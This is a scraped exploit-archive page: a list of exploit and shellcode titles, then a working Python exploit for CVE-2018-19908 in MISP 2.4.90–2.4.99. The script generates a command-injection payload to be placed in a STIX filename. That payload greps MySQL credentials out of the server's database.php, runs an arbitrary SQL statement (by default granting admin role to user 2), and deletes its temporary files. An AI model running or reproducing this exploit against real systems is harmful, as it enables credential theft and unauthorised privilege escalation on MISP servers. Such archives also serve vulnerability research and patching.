
25 changes to exploits/shellcodes Realterm Serial Terminal 2.0.0.70 - Denial of Service Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH) NBMonitor 1.6.5.0 - 'Key' Denial of Service (PoC) Oracle Java Runtime Environment - Heap Out-of-Bounds Read During OTF Font Rendering in glyph_CloseContour Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in OpenTypeLayoutEngine::adjustGlyphPositions Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in ExtractBitMap_blocClass Oracle Java Runtime Environment - Heap Out-of-Bounds Read During TTF Font Rendering in AlternateSubstitutionSubtable::process mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Protocol Handlers qdPM 9.1 - 'type' Cross-Site Scripting qdPM 9.1 - 'search[keywords]' Cross-Site Scripting Master IP CAM 01 3.3.4.2103 - Remote Command Execution MISP 2.4.97 - SQL Command Execution via Command Injection in STIX Module CMSsite 1.0 - 'post' SQL Injection M/Monit 3.7.2 - Privilege Escalation Webiness Inventory 2.3 - 'ProductModel' Arbitrary File Upload Apache CouchDB 2.3.0 - Cross-Site Scripting ArangoDB Community Edition 3.4.2-1 - Cross-Site Scripting Comodo Dome Firewall 2.7.0 - Cross-Site Scripting Zoho ManageEngine ServiceDesk Plus (SDP) < 10.0 build 10012 - Arbitrary File Upload WordPress Plugin WooCommerce - GloBee (cryptocurrency) Payment Gateway 1.1.1 - Payment Bypass / Unauthorized Order Status Spoofing macOS - Reverse (::1:4444/TCP) Shell (/bin/sh) +IPv6 Shellcode (119 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + IPv6 Shellcode (129 bytes) macOS - Reverse (127.0.0.1:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (103 bytes) macOS - Bind (4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (123 bytes) macOS - execve(/bin/sh) + Null-Free Shellcode (31 bytes)
57 lines
No EOL
2 KiB
Python
Executable file
57 lines
No EOL
2 KiB
Python
Executable file
#-*-coding:utf-8-*-
|
|
#
|
|
# Exploit Title: SQL command execution via command injection in STIX module
|
|
# Date: 2019-17-02
|
|
# Exploit Author: Tm9jdGlz
|
|
# Vendor Homepage: https://www.misp-project.org/
|
|
# Software link: https://www.misp-project.org/download/
|
|
# Version: 2.4.90 - 2.4.99
|
|
# Tested on: 2.4.97
|
|
# CVE: CVE-2018-19908
|
|
#
|
|
# Use this payload as stix filename
|
|
|
|
def encode_data(data):
|
|
from base64 import b64encode
|
|
from urllib.parse import quote_plus
|
|
|
|
b64Data = b64encode(data.encode("utf-8"))
|
|
urlEncode = quote_plus(b64Data)
|
|
|
|
return urlEncode
|
|
|
|
|
|
def generate_payload(SQLRequest):
|
|
payload = 'MISPPath="../../";'\
|
|
'MISPPDB="$MISPPath/app/Config/database.php";'\
|
|
'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
|
|
'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
|
|
'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
|
|
'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
|
|
'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
|
|
'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
|
|
return payload.format(SQLRequest)
|
|
|
|
def generate_exploit(SQLRequest, **kwargs):
|
|
options = {
|
|
"inputFile" : kwargs.get("input_file", "data"),
|
|
"outputFile" : kwargs.get("output_file", "data2"),
|
|
"payload" : encode_data(generate_payload(SQLRequest))
|
|
}
|
|
|
|
exploit = "; echo '{payload}'>{inputFile};"\
|
|
"python3 -c 'import urllib.parse;"\
|
|
'fd=open(\\"{outputFile}\\",\\"w\\");'\
|
|
'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
|
|
"fd.close()';"\
|
|
"base64 -d {outputFile}>{inputFile};"\
|
|
"sh {inputFile};"\
|
|
"rm {inputFile} {outputFile} #".format(**options)
|
|
return exploit
|
|
|
|
def main():
|
|
SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
|
|
print(generate_exploit(SQLRequest))
|
|
|
|
if __name__ == "__main__":
|
|
main() |